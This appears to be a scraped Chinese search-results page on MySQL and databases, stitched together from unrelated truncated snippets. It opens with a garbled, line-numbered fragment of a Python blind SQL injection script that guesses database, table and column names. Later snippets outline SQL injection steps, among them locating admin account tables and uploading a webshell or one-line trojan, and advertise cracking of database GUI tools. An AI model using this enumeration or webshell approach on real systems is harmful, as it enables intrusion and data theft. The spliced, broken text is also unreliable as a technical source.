    156 database =getName(length)157 #猜解表的数量

    158 tablesNum = getTablesNum(database, 10)159 #猜解表名

    160 tables = getTablesName(database, tableNum*8)161 print ("数据库名的长度为:" +str(length))162 print ("数据库名为:" +database)163 print ("数据库中表的数量为:" +str(tablesNum))164 print ("数据库中的表如下:")165 for table intables:166 print(table)167 print ("各个表的字段名如下:")168 for table intables:169 print(table)170 #猜解各个表的字段名

    171 attributes = getTableAttributes(table, 100)172 for attribute inattributes:173 print(attribute)

    展开全文
  • 关于Mysql和数据库图形化界面工具的安装和破解 所有软件和破解工具文末领取 关于mysql 此处使用mysql 5.5.62windows32位安装,免费,无需破解 卸载mysql 1 安装前先卸载自己电脑上的mysql旧版本,使用...
  • 【判断题】MySQL连接数据库只能使用默认端口3306( )。【多选题】以下哪些是LTE系统的网络接口【判断题】mysql_fetch_assoc()函数从结果集中取得一行作为关联数组( )。【多选题】用like模糊搜索时,“%Y%”这样的条件...
  • mysql 数据库名称限制

    2021-02-03 00:38:24
    mysql 数据库名称限制云服务器(Elastic Compute Service,简称ECS)是阿里云提供的性能卓越、稳定可靠、弹性扩展的IaaS(Infrastructure as a Service)级别云计算服务。云服务器ECS免去了您采购IT硬件的前期准备,让您...
  • } try {//连接URL为 jdbc:mysql//服务器地址/数据库名 ,后面的2个参数分别是登陆用户名和密码 Connection connect = DriverManager.getConnection("jdbc:mysql://localhost:3306/dsschool","root","root");...
  • 《Oracle数据库管理与维护实战》——1.1 Oracle产品组成本节书摘来自异步社区出版社《Oracle数据库管理与维护实战》一书中的第1章,第1.1节,作者: 何伟娜 , 常建功,更多章节内容可以访问云栖社区“异步社区”...
  • 关系数据库模式

    2021-10-21 20:59:31
    关系数据库模式关系数据库模式1.定义相关项[^1]2.关系运算3.函数依赖 关系数据库模式 1.定义相关项1 在数据库中要区分型和值。关系数据库中的型也称为关系数据库模式,是关系数据库结构中的描述。它包括若干域的定义...
  • SQL基础: 注入点的判断:首先判断该注入点是怎么闭合的,常用的是','),')),",再利用and 1=2,and 1=1判断闭合是否正确sql注入常用语句:普通语句:schema_name——数据库名;table_name——表名;column_name——...
  • 3、猜关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段等信息) 4、可以通过获得的用户信息,寻找后台登录。 5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以...
  • Oracle 数据库导出导入命令及说导出命令EXP.exeUSERID=demo/demopwd@orcl file=F:\demo.dmp log=F:/expdemo.log详解1 USERID=demo/demopwd@orcl demo 是用户名demopwd 密码 orcl 实例详解2 file=F:\demo.dmp 是...
  • ClickHouse数据库介绍

    千次阅读 2021-01-05 18:16:58
    由于压缩的速度(CPU使用率)主要取决于未压缩的数据量,所以即使在未压缩的情况下,紧凑地存储数据(没有任何“垃圾”)也是非常重要的。 因为有些系统可以单独存储单独列的值,但由于其他场景的优化,无法有效...
  • 数据库索引Index系列】数据库索引,这一篇就够了 程序人生,精彩抢先看 目录 1、前言 2、正题 2.1 使用命令将CSV文件导入数据库 2.2 遇到的问题 2.2.1 问题一:乱码 2.2.2 问题二:导入时因数据特殊...
  • java连接数据库URL

    2021-03-06 15:52:57
    1.Oracle数据库Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();String url = "jdbc:oracle:thin:@localhost:1521:orcle";String user = "test";String password = "test";Connection conn = ...
  • MySQL数据库

    2021-01-20 18:00:42
    MySQL 是一个关系型数据库管理系统,存放二维表就是关系型数据库由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。 MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational ...
  • 在bin下执行dmrman命令,进入dmrman交互界面,输入==backup database '$DM_HOME/data/实例/dm.ini' (full);== 进行备份,默认就是全备份。 13.1.2 图形化方式 使用 console 命令进入达梦控制台工具。 点击上...
  • 神通数据库常用操作

    2021-02-01 10:42:19
    1. maven引入神通数据库依赖 mvn install:install-file -Dfile=oscarJDBC16-1.0.jar -DgroupId=com.oscar.Driver -DartifactId=oscarJDBC16 -Dversion=1.0 -Dpackaging=jar mvn install:install-file -Dfile=包...
  • 引用方形遗址:如果确实发生崩溃或停电,并且磁盘上保留了一个热日志,则必须将原始数据库文件和热日志保留在磁盘上,并带有它们的原始名称,直到数据库文件被另一个SQLite进程打开并回滚为止。[.]我们怀疑SQLite恢复...
  • Qt连接OpenGauss数据库

    热门讨论 2021-06-15 16:59:53
    本教程介绍如何通过Qt连接OpenGauss数据库。 1 安装软件 qt-opensource-windows-x86-5.14.2.exe(之前的版本可能不行,安装过程中必须包含MinGW64) OpenGauss ODBC 2 Windows下配置ODBC数据源 Windows操作系统...
  • 数据库的组成 SQL Server数据库由一组操作系统文件组成,这些文件被划分为两类:数据文件和日志文件。 1.数据文件: 包含数据和对象,如表、索引、存储过程和视图。 #mermaid-svg-PtLLSRXS3jbuNimP .label{font-...
  • 数据库在metaspoit中是相当重要的,当做一个大型渗透测试项目的时候,收集到的信息是相当大的,当和你的同伴一起协同作战的时候,你们可能 在不同的地方,所以数据共享很重要了!而且Metasploit还可以兼容一些扫描...
  • Mysql技术知识点Mysql技术知识点,首先来讲一下Mysql语句精进安装数据库,然后导入tigerfive.sql。 sql见文档结尾部分MySQL示例数据库模式由以下表组成:customers: 存储客户的数据。products: 存储汽车的数据。...
  • java文件流插入数据库 在本文中,您将学习如何编写纯Java应用程序,这些应用程序能够处理现有数据库中的数据,而无需编写一行SQL(或类似的语言,例如HQL),而无需花费数小时将所有内容放在一起。 准备好应用程序之后...
  • 数据库教程

    2021-01-19 22:33:36
    通常意义上,数据库也就是数据的集合,具体到计算机上数据库可以是存储器上一些文件的集合或者一些内存数据的集合。我们通常说的MySql数据库,SQL Server数据库等等其实是数据库管理系统,它们可以存储数据,并提供...
  • Oracle数据库索引

    2021-05-07 09:49:42
    如果你在数据库方面是一个新手,又或者你对Oracle数据库不是很熟悉,那你可能会发现关于索引和构建索引策略方面的讨论资料看起来很艰涩。不过,只要你对于能满足数据库管理员日常管理相关的选项稍加注意,其实要入手...
  • 习题数据库设计

    2021-07-28 20:42:59
    4-填空题】,标签号,学生得分,题目原始分数,学生答案varchar,问题内容:int,是否正确,创建时间) 标签表(id=标签号,标签) 题目表(id=题号,题型,标签号,题目分数,难度系数,content_id,学生正次数...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 131,596
精华内容 52,638
关键字:

数据库名解